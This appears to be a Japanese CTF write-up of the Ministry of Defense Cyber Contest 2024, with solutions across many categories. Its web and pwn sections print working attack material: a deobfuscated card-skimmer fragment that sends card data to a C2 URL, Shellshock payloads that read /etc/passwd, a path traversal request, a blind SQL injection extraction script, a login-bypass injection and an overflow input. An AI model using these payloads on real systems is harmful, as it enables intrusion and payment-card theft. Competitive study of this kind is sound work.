- [PG] 縮めるだけじゃダメ
- [PG] 暗算でもできるけど?
- [PG] formjacking
- [PG] loop in loop
- [NW] 頭が肝心です
- [NW] 3 Way Handshake?
- [NW] さあ得点は?
- [NW] decode
- [WE] 簡単には見せません
- [WE] 試練を乗り越えろ!
- [WE] 直してる最中なんです
- [WE] 直接聞いてみたら?
- [WE] 整列!
- [CY] エンコード方法は一つじゃない
- [CY] File Integrity of Long Hash
- [CY] Equation of ECC
- [CY] PeakeyEncode
- [FR] 露出禁止!
- [FR] 成功の証
- [FR] 犯人はこの中にいる!
- [FR] chemistry
- [FR] InSecureApk
- [PW] CVE-2014-7169他
- [PW] 認可は認証の後
- [PW] formerLogin 解けず
- [PW] overmeow
- [PW] heapmeow
- [TR] 合体はロマン
- [TR] Windowsで解きましょう
- [TR] 排他的倫理和
連覇ならず!最後の1問が一生解けず終わってしまった。
防衛省サイバーコンテスト2023 Writeups
防衛省サイバーコンテスト 2024 Writeup
[PG] 縮めるだけじゃダメ
添付のExcelファイルからフラグを読み取ってください。
【回答書式】 flag{6桁の半角数字}
Excelファイルを開いてみると中身がflag{三三三三三三}の状態で表示させる。マクロが付いているので、付いているマクロを動かしてみると、シートの中身を最初の状態、つまりflag{三三三三三三}に戻してくれる。これをステップ実行してみると、途中でflag{268653}になって、それからflag{三三三三三三}に変更している。よって、ステップ実行するとフラグが分かる。
[PG] 暗算でもできるけど?
添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。
【回答書式】 flag{n桁の半角数字}
添付のソースコードとはこれ。
#include <stdio.h> int main(){int i,j,k,l;k=(((10/2*4/10*4/2)+97)*10)-10;for(i=2;i<=k;++i){l=0;for(j=2;j<i;++j){if(i%j==0){l=1;break;}}if(l==0)printf("%d\r\n",i);}return 0;}
g++でビルドして動かすと数列が出てくる。314番目が与えられてないので、ループの数を適当に増やして実行すると314番目も得られる。68番目が337で314番目が2083であることが分かるので、337+2083=2420というこtでflag{2420}が答え。
[PG] formjacking
添付のファイルは「Card Stealer」と呼ばれるフォームからの入力値を外部へ送信するJavaScriptです。 カード情報が妥当な場合、その値は外部へ送信されるようなので追跡したいです。
【回答書式】 flag{n桁の半角英数記号}
Webスキミングのjsコードが与えられる。じっと見ると
const _0x3e5fd8 = _0x331b2c(-0x73, -0x5f, -0x82, -0x5d) + _0x331b2c(-0x80, -0x8d, -0x9c, -0x81) + _0x331b2c(-0x82, -0xa3, -0x7b, -0x62) + _0x331b2c(-0x91, -0xa9, -0x92, -0x92) + _0x584c1a(0x11b, 0x110, 0xfa, 0x12f) + _0x584c1a(0x136, 0x148, 0x120, 0x120) + _0x2b1e79[_0x331b2c(-0x85, -0x61, -0x9c, -0x87)](encodeURIComponent, _0x9ae3dd) + '&exp-date=' + _0x2b1e79[_0x331b2c(-0x85, -0xb3, -0x87, -0x75)](encodeURIComponent, _0x57060f) + '&cvc=' + _0x2b1e79['urqoZ'](encodeURIComponent, _0x33294f) + '&' + _0x5930f7;
というCVCコードを送ってそうな部分が見える。必要そうな以下のものを持ってきて…
function _0x331b2c(_0x18f520, _0xc0f838, _0x3572e1, _0x3c574c) { return _0x56a0cc(_0x18f520 - 0x91, _0xc0f838 - 0x3f, _0x18f520 - 0xb1, _0x3572e1); } function _0x56a0cc(_0x417bff, _0x5c2b88, _0x1266f3, _0x340cb1) { return _0x261ad7(_0x340cb1, _0x5c2b88 - 0x1e7, _0x1266f3 - -0x286, _0x340cb1 - 0x120); } function _0x584c1a(_0x5ddf7d, _0xbbfca4, _0x23b269, _0x31e541) { return _0x27ef0e(_0x5ddf7d - 0x10f, _0xbbfca4 - -0xe9, _0x23b269, _0x31e541 - 0x1a2); } function _0x27ef0e(_0xbd1b3f, _0x5868a4, _0x132b07, _0x2d246c) { return _0x3e8891(_0xbd1b3f - 0x1a2, _0x132b07, _0x5868a4 - -0x22e, _0x2d246c - 0x1bf); }
これで動かすとC2が分かる。
> _0x331b2c(-0x73, -0x5f, -0x82, -0x5d) + _0x331b2c(-0x80, -0x8d, -0x9c, -0x81) + _0x331b2c(-0x82, -0xa3, -0x7b, -0x62) + _0x331b2c(-0x91, -0xa9, -0x92, -0x92) + _0x584c1a(0x11b, 0x110, 0xfa, 0x12f) + _0x584c1a(0x136, 0x148, 0x120, 0x120) < 'https://[redacted]/pg3?cardnumber=' > /*const _0x5930f7 = */_0x27ef0e(0x271, 0x252, 0x22d, 0x272) + 'rue'; < 'Skimming=true'
という感じなので、これを元にC2へ通信してみるとフラグが得られる。
$ curl 'https://[redacted]/pg3?cardnumber=33333&exp-date=444&cvc=444&Skimming=true'
flag{f1iping_de0bfuscat0r}
[PG] loop in loop
以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。 ... [色々要件が書いてある]
適当に実装すると5785であることが分かるのでflag{5785}が答え。
[NW] 頭が肝心です
添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した2番目のメールサーバのIPアドレスとします。
【回答書式】 flag{IPアドレス}
煽っているようなタイトルにも見えるがそういうことではなく、SMTPサーバを中継する度にReceivedヘッダーを先頭に色々追記されていくので、そういうことを指しているのだろう。SMTPサーバによる追記は先頭になされるので、後ろになるほど古いデータになる。よって、後ろから2番目のReceived Received: from mx.example.com ([172.16.25.39]) にあるIPアドレスが答え flag{172.16.25.39}
[NW] 3 Way Handshake?
添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。
【回答書式】 flag{n1,n2,n3,.....}
ポートが空いていることをどう判定するかであるが、題名から3 Way Handshakeで応答がある、つまり、SYN+ACKが返ってきているかどうかを指標にしよう。Wiresharkでパケットログを開き、tcp.flags.syn == 1 and tcp.flags.ack == 1でフィルタリングすると成功通信が見られる。それらのポートを記録し、flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}が答え。
[NW] さあ得点は?
添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。 その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。 https://nvd.nist.gov/ 【回答書式】 flag{数値}
Rangeヘッダーの使い方が特徴的なので、その辺りから調べてみると(脈絡が無いのだが)CVE-2011-3102が見つかる。CVSS Version2.0のスコアを回答書式に合わせてflag{7.8}が正答。
[NW] decode
添付のパケットファイルからフラグを探してください
【回答書式】 flag{n桁の半角英数記号}
ファイルを眺めてみると、画像ファイルがbase64エンコードされてやり取りされるのが見える。取り出しながら見てみると猫の画像だったが、00011と00012のpcapファイルに含まれている画像データを取り出してみてみるとフラグが書かれていた。flag{c4ptur3_cat}
[WE] 簡単には見せません
https://[redacted]/
【回答書式】 flag{n桁のアルファベット}
特に何もないサイトが与えられる。GET /robots.txtをとりあえず見てみる。
User-Agent:* Disallow:/ Disallow:/red/ Disallow:/gold/ Disallow:/yellow/ Disallow:/blue/ Disallow:/pink/ Disallow:/black/
ということで、curl https://[redacted]/{red,gold,yellow,blue,pink,black}/でとりあえず見てみると/blueでディレクトリリスティングされているのが見える。色々見るとcurl https://[redacted]/blue/flg/のHTMLソースコードにコメントとしてフラグが埋め込まれていた。
<!-- flag{TakeMeToTheFlag} -->
[WE] 試練を乗り越えろ!
下記のURLからフラグを入手してください。
https://[redacted]/
【回答書式】 flag{n桁のアルファベット}
今は何問目を1万回正解すればフラグが得られる。どうやって「今何問目であるか」を保持しているかなというのを見てみると、毎回リクエストに含めていた。よって、そこを偽装すれば何問目であるかも偽装できるので、以下のようにリクエストを送ればフラグが手に入る。
POST / HTTP/2 Host: [redacted] Content-Length: 51 Content-Type: application/x-www-form-urlencoded qCount=10000&answer=10000&submit=%E9%80%81%E4%BF%A1
flag{WinThroughTheGame}
[WE] 直してる最中なんです
下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。
https://[redacted]/
フラグが記載されているファイルは下記の通りです。 /etc/WE-3
【回答書式】 flag{25桁の半角英数字}
LFIとかパストラバーサルの雰囲気のあるサイトが与えられる。ソースコードを見てみると、
<!--<script type="text/javascript" src="secret/download.js"></script>-->
とあり、中身が
function dlFIle(file){ var dataS = 'fName=' + file; var xhr = new XMLHttpRequest(); xhr.open('POST','/secret/download.php'); xhr.send(dataS); xhr.onload = function() { var strS = xhr.responseText; }; }
とある。よって、このエンドポイントを使えばファイルがダウンロードできそう。パストラバーサルを試すとうまくいくので、相対パスで/etc/WE-3を取得することができる。以下のようなリクエストでフラグ獲得。
POST /secret/download.php HTTP/2 Host: [redacted] Content-Type: application/x-www-form-urlencoded Content-Length: 26 fName=../../../../etc/WE-3
これでflag{fGrantUB56skBTlmF14mostFP}
[WE] 直接聞いてみたら?
下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。
https://[redacted]/
【回答書式】 flag{n桁のアルファベット}
与えられたwebアプリを触ってみるとW3sibmFtZSI6ImFkZHJlc3MiLCJ2YWx1ZSI6Im9uIn1dという感じのフォーマットで通信が行われている。これはbase64エンコードされているので、base64デコードすると[{"name":"address","value":"on"}]となる。あまり深く考えず、addressをflagにするとフラグが得られた。
POST /json.php HTTP/2 Host: redacted Content-Length: 45 Content-Type: application/x-www-form-urlencoded data=W3sibmFtZSI6ImZsYWciLCJ2YWx1ZSI6Im9uIn1d
のように[{"name":"flag","value":"on"}]のようにするとフラグがもらえた。
[WE] 整列!
旗の下に必要な者だけが正しく並べばいいのです。
https://[redacted]/
【回答書式】 flag{n桁の英数字}
サイトに移動するとテーブルのソートをするサイトが与えられる。/index.php?sort=id+DESCのようにするとソート順を変更できる。この部分でSQL Injectionが可能なので、このソート機能を利用してデータベースの中身を抜き出していこう。unionによる結合はorder byの後にはできず、エラー経由の抽出も出来なかったので、Blind SQL Injectionすることにした。
import requests import time import urllib.parse url = 'https://[redacted]/index.php' #req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES' #[*] information_schema,mysql,performance_schema,sys,we5 #req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='we5'" #[*] done! mst_user #req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='mst_user'" #[*] done! data,flagSeq,id #req = "SELECT GROUP_CONCAT(data) FROM mst_user" #[*] done! X,X,X,f,a,l,8,3,X,X,X,2,4,d,6,f,2,7,b,7,b,3,a,d,2,9,X,X,X,X,X,0,d,6,e,d,2,X,X,X,X,2,6,7,d,2,2,X,X,X,X,g,{,e,d,4,},X,X,X req = "SELECT GROUP_CONCAT(flagSeq) FROM mst_user" # done! 8,9,10,11,13,12,26,32,2,50,51,18,19,20,16,17,21,27,28,29,30,41,42,43,44,45,1,3,4,5,6,36,37,38,39,40,46,57,58,59,60,22,23,24,25,31,33,7,52,53,54,14,15,34,35,47,48,49,55,56 ans = "" for i in range(1, 1010): ok = 0 ng = 255 while ok + 1 != ng: md = (ok + ng) // 2 exp = f"id * CASE WHEN {md} <= ascii(substring(({req}),{i},1)) THEN -1 ELSE 1 END" res = requests.get(url + f"?sort={urllib.parse.quote(exp)}") if '<tr><td align="right">60</td><td align="right">X</td><td align="right">56' in res.text: ok = md else: ng = md if ok == 0: break ans += chr(ok) #time.sleep(1) print(f"[*] {ans}") print(f"[*] done! {ans}")
こんな感じにすれば取れる。flagSeqの順番でdataを並べてやればフラグが見えてくる。
[CY] エンコード方法は一つじゃない
以下の文字列をデコードしてFlagを答えてください。
%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62
【回答書式】 flag{n桁のアルファベット}
from HexでHex形式をasciiにデコードすると
UcanB}VmFyaW91c0VuY29kaW5ncw==666c61677b
となって、いくつかのデコードが混ざっているので、
UcanB} -> UcanB} VmFyaW91c0VuY29kaW5ncw== -> VariousEncodings 666c61677b -> flag{
flag{VariousEncodingsUcanB}が答え(だったはず)
[CY] File Integrity of Long Hash
添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。
189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf
【回答書式】 flag{22文字の半角英数字}
見た感じsha512っぽく、flags_ほにゃらら.txtが沢山あるので、sha512を取って見ると出てくる。
$ sha512sum * | grep 189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf
189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf flags_89.txt
$ cat flags_89.txt
flag{346D895B8FF3892191A645}
[CY] Equation of ECC
楕円曲線のパラメータは以下の通りとします。
a=56,b=58,p=127
基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。
公開鍵(53,30)
【回答書式】 flag{半角数字}
sagemathで以下のように実装して探索すれば出てくる。
F = GF(127) E = EllipticCurve(F, [0, 0, 0, 56, 58]) G = E(42,67) A = E(53,30) for d in range(1, 1010): if d * G == A: print(d) break
flag{16}が答え。
[CY] PeakeyEncode
文字化けした文が送られてきました。送信者によるとこの文字化けはインターネットから探してきたロジックを使って暗号化を施したかったそうです。 暗号化した際の環境が送られてきているので復号ができないでしょうか。
require './encode.rb' flag = File.open("flag", "r").read() generate = PeakeyEncode.new.generate(flag) generate = generate.gsub(">", "🚒") generate = generate.gsub("<", "😭") generate = generate.gsub("+", "😡") generate = generate.gsub("-", "🙌") generate = generate.gsub(".", "🌺") generate = generate.gsub(",", "✍️") generate = generate.gsub("[", "😤") generate = generate.gsub("]", "🐈") sjis = generate.force_encoding(Encoding::SJIS) p sjis.encode(Encoding::UTF_8)
PeakeyEncodeでエンコードされた後、絵文字に変換され、最終的にSJISに変換される。SJISに変換される関係で文字化けした状態で最終的な成果物が与えられる。
丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕玄丕丕丕丕丕丕玄剏剏剏剏剏剏剏剏剏剏剏玄丕丕丕丕丕丕玄丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕玄剏剏玄剏剏剏剏剏剏剏剏剏剏玄丕丕丕丕丕丕玄剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏玄丕丕丕丕丕丕丕丕丕丕丕丕玄丕丕丕玄丕玄丕丕丕丕丕丕丕丕玄剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏玄丕丕丕玄丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕玄剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏玄剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏剏玄丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕玄丕丕丕丕丕丕丕丕丕丕丕丕丕丕丕玄
rubyのコードを適当に動かし、どの絵文字がどの文字化け結果になるかを見つける。それを使って、文字化けした出力を絵文字の変換前の文字に戻してみよう。すると以下のようになる。
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.-----------.++++++.++++++++++++++++++++.--.----------.++++++.----------------------.++++++++++++.+++.+.++++++++.------------------------.+++.++++++++++++++++.-----------------.------------------------------------------------.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++.
Brainfuckっぽいですね。適当なインタプリターに読ませるとフラグが出てくる。 flag{you_know_bra1n}
[FR] 露出禁止!
添付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。
https://[redacted]/
【回答書式】 flag{n桁のアルファベット}
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
こういうログファイルが与えられる。ログファイルの中で唯一上のログで1722334192,1,adminというのがあったので、これを使ってみると「セッションの有効期限が切れました。再度ログインしてください」を言われてしまう。adminの前半部分に数値があり、それを増やすと使えた。
1922334192,1,adminにして、これをbase64にしてGET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg==とするとフラグが得られる。
[FR] 成功の証
フラグは攻撃者が見つけ出した「パスワード」とします。
【回答書式】 flag{パスワード}
FTPのログイン試行が大量に残っている。目grepするとTCP stream 188に成功ログがあるのが見つかり、その時のパスワードが答え。
[FR] 犯人はこの中にいる!
下記のパケットログは、攻撃のフェーズにおいて特定のサーバにポートスキャンを行ったと思われていたものです。 実は、これは内部にいる攻撃者が外部IPアドレスを偽証したものです。 本当の内部にいる攻撃者のIPアドレスを見つけてください。
パケットログを見てみると、59.214.32.56からポートスキャンが発生していた。これは問題文によると偽装された外部IPアドレスらしい。このパケットからMACアドレスが特定できる。00:0c:29:4d:c2:33
上にpingリクエストがあったので同じmacアドレスを見れば答えが出てきそう。Wiresharkだとeth.addr == 00:0c:29:4d:c2:33でフィルタリングすると違うIPアドレスでの通信が出てきて、そのときのIPアドレスが答え。flag{192.168.204.137}
[FR] chemistry
添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。
複数の引数を送る場合は、「,(カンマ)」で区切ってください。 スペースは「0」を送ってください。
【回答書式】 flag{数値,数値,.....}
ghidraでリバースエンジニアリングしながら、また、ガチャガチャ触っていると与えた数に応じて文字がもらえるみたいだった。全探索して先頭から合わせていく方針で探していこう。小さい方から見ていくと違うパスにマッチしてしまったので横着して逆順にしたらうまくいった。
import subprocess def run_command(command): result = subprocess.run(command, shell=True, capture_output=True, text=True) return result.stdout, result.stderr #target = "FLAG" # 114,47 #target = "I" # 53 #target = "AM" # 95 target = "LUCKY" # 71,6,19,39 ans = "" for j in range(20): ok = False #for i in range(1, 0x76 + 1): for i in range(0x76, 1, -1): if len(ans) == 0: payload = f'{i}' else: payload = f'{ans},{i}' stdout, stderr = run_command(f'./FR-4 {payload}') stdout = stdout.strip() print('[*]', stdout) if target == stdout: print('[!] Found:', payload) exit(0) if target.startswith(stdout): ans = payload print('[!]', ans) ok = True break if not ok: exit(-1)
これで各単語の数が得られるので、0で合わせて答え。念のため確認してみよう。
$ $ ./FR-4 114,47,0,53,0,95,0,71,6,19,39 FLAG I AM LUCKY
ok. これを回答書式に合わせて回答する。
[FR] InSecureApk
管理者だけが使えるAndroidアプリを作成しました。 このアプリはパスワードを入れないと使うことができません。 そのパスワードがフラグとなっています。
【回答書式】 flag{n文字のアルファベット}
jadxを入れて開いてみると以下のようなコードが見つかる。
String inputStr = input.getText().toString(); if (inputStr.length() != 16) { output.setText("Incorrect."); return; } String compare = SecretGenerater.decode(inputStr); if (compare.equals("VUSTIq@H~]wGSBVH")) { output.setText("Congratulations! you got flag."); } else { output.setText("Incorrect."); }
SecretGenerater.decodeに入力が送られている。
public static String decode(String str) { String checkLength = checkNative(str); if (checkLength.length() == 16) { return checkLength; } return ""; }
のように更にcheckNativeに送られている。nativeとあるようにネイティブコードが呼ばれているので、それを探すとlibinsecureapp.soというのがあったので、これを持ってきて更にghidraで開くと、0923200802022025とxorしているコートが見つかる。
"VUSTIq@H~]wGSBVH" xor "0923200802022025"するとフラグが得られる。
[PW] CVE-2014-7169他
アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。
/etc/PW-1
https://[redacted]/
【回答書式】 flag{n桁の半角英数記号}
アクセスログをみると
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
というのがあり、shellshockですね。/etc/PW-1が得られれば良いので、以下のようにやるとhラグが得られる。
GET /cgi-bin/n.cgi HTTP/2
Host: [redacted]
User-Agent: () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1
Content-Length: 0
flag{>:(!shellshock!}が答え。
[PW] 認可は認証の後
下記のURLにアクセスし、フラグを入手してください。 Webアプリケーション脆弱性診断の観点を持つと良いみたいです。
https://[redacted]/
【回答書式】 flag{n桁の英数字}
ログイン画面のnameに'を含めると500エラーになるのでSQLiが出来そう。nameに' or 1=1 #とするとうまくいく。(バリデーションがあるので直接リクエストする必要がある)
ログイン後、POST /flag.phpに行くと、管理者になる必要があるのだが、入力をadmin=1にすればフラグ獲得。(/flag.phpがPOSTであることに気が付かず1時間くらい解けずにいた…)
[PW] formerLogin 解けず
資料を添付しました。 この資料から推測できる情報でグループウェアにアクセスできないでしょうか。
https://[redacted]/
うーん。
[PW] overmeow
ファイルを用意したので、解析してもらえませんか。
nc [redacted] 30001
【回答書式】 flag{n桁の半角英数記号}
ghidraで開くとこんな感じ。
undefined8 main(void) { char local_28 [16]; undefined8 local_18; long local_10; local_10 = 0; puts(WELCOME); puts("What\'s the cat\'s say?"); gets(local_28); local_18 = 0x6d646f77; if (local_10 == 0x6d646f77) { puts("Yes, I\'ll give you a flag."); system("cat flag"); } else { printf("[hint]: overflow == 0x%llx\n",local_10); printf("secret != 0x%llx :(\n",local_18); } return 0; }
リトルエンディアンのため\x77\x6f\x64\x6dを書けば良い。また、getsを使っているため、オーバーフローを発生させることができ、local_18に書いているがはみ出してlocal_10に書くことができる。
どれくらいはみ出せば良いかちゃんと計算すればよかったのだが、本番は適当に\x77\x6f\x64\x6dを繰り返して長さを調整することで刺した。
$ echo -e '\x77\x6f\x64\x6d\x77\x6f\x64\x6d\x77\x6f\x64\x6d\x77\x6f\x64\x6d\x77\x6f\x64\x6d\x77\x6f\x64\x6d\x77\x6f\x64\x6d' | nc [redacted] 30001
flag{I_will_Golondon}
[PW] heapmeow
猫ちゃんの鳴き声はなんですか? nc [redacted] 30001
【回答書式】 flag{n桁の半角英数記号}
c言語のプログラムが与えられる。pwnのヒープ問か…と思って一瞬焦ったが、適当にオーバーフローさせるだけで解けそうだったので、あまりよく考えずに泣きまくったらフラグが出てきた。
Enter your choice: 2
What does the cat say?
meowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeowmeow
Congratulations!
flag{cat_g0es_me0w}
[TR] 合体はロマン
二次元バーコードでフラグを書いておきました。
【回答書式】 flag{n桁の半角英数字}
分割されたQRコードが与えられるので根性でくっつける問題。黄色を左上に、水色を右上に、紫色を右下にした3つからなるQRコードを読むと中身が読めた。 flag{ThisCodeIsLevelH}
[TR] Windowsで解きましょう
下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください
【回答書式】 flag{22桁の半角数字}
このようなbatファイルが与えられる。
@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
type null > flags_%%n.txt
echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)
endlocal
答えのフラグが書かれたものには特殊なADSを付けるようになっているが分かりにくいのでif %%n==%FDATA4% echo > flags_%%n_ans.txtのようにして動かすとflags_25.txtが答えであることが分かる。flag{7525252364612534937244}
[TR] 排他的倫理和
比較対象ファイルの値と各候補ファイルに記載の値のXORを計算し、有意な値を見つけてください。
【回答書式】 flag{IPアドレス}
以下のような感じで小さいファイルが与えられる。
$ hd pattern1
00000000 00 00 00 00 66 6c 61 67 7b 7d |....flag{}|
0000000a
$ hd pattern2
00000000 05 00 2c 00 7d 7f 00 cd 1c 03 |..,.}.....|
0000000a
$ hd pattern3
00000000 00 05 0f 03 2c c5 67 b7 b2 2f |....,.g../|
0000000a
$ hd compare
00000000 66 69 6e 64 57 69 7a 58 4f 52 |findWizXOR|
0000000a
問題タイトルにあるようにXORを試すとpattern3とcompareのXOR結果から答えにたどり着けた。
pattern3とcompareのXOR結果は66 6c 61 67 7b ac 1d ef fd 7dで先頭末尾はちゃんとasciiにできてflag{ac 1d ef fd}。答えはIPアドレスのようなので、中身をそれぞれdecimalにしてIPアドレスっぽくしたflag{172.29.239.253}が答え。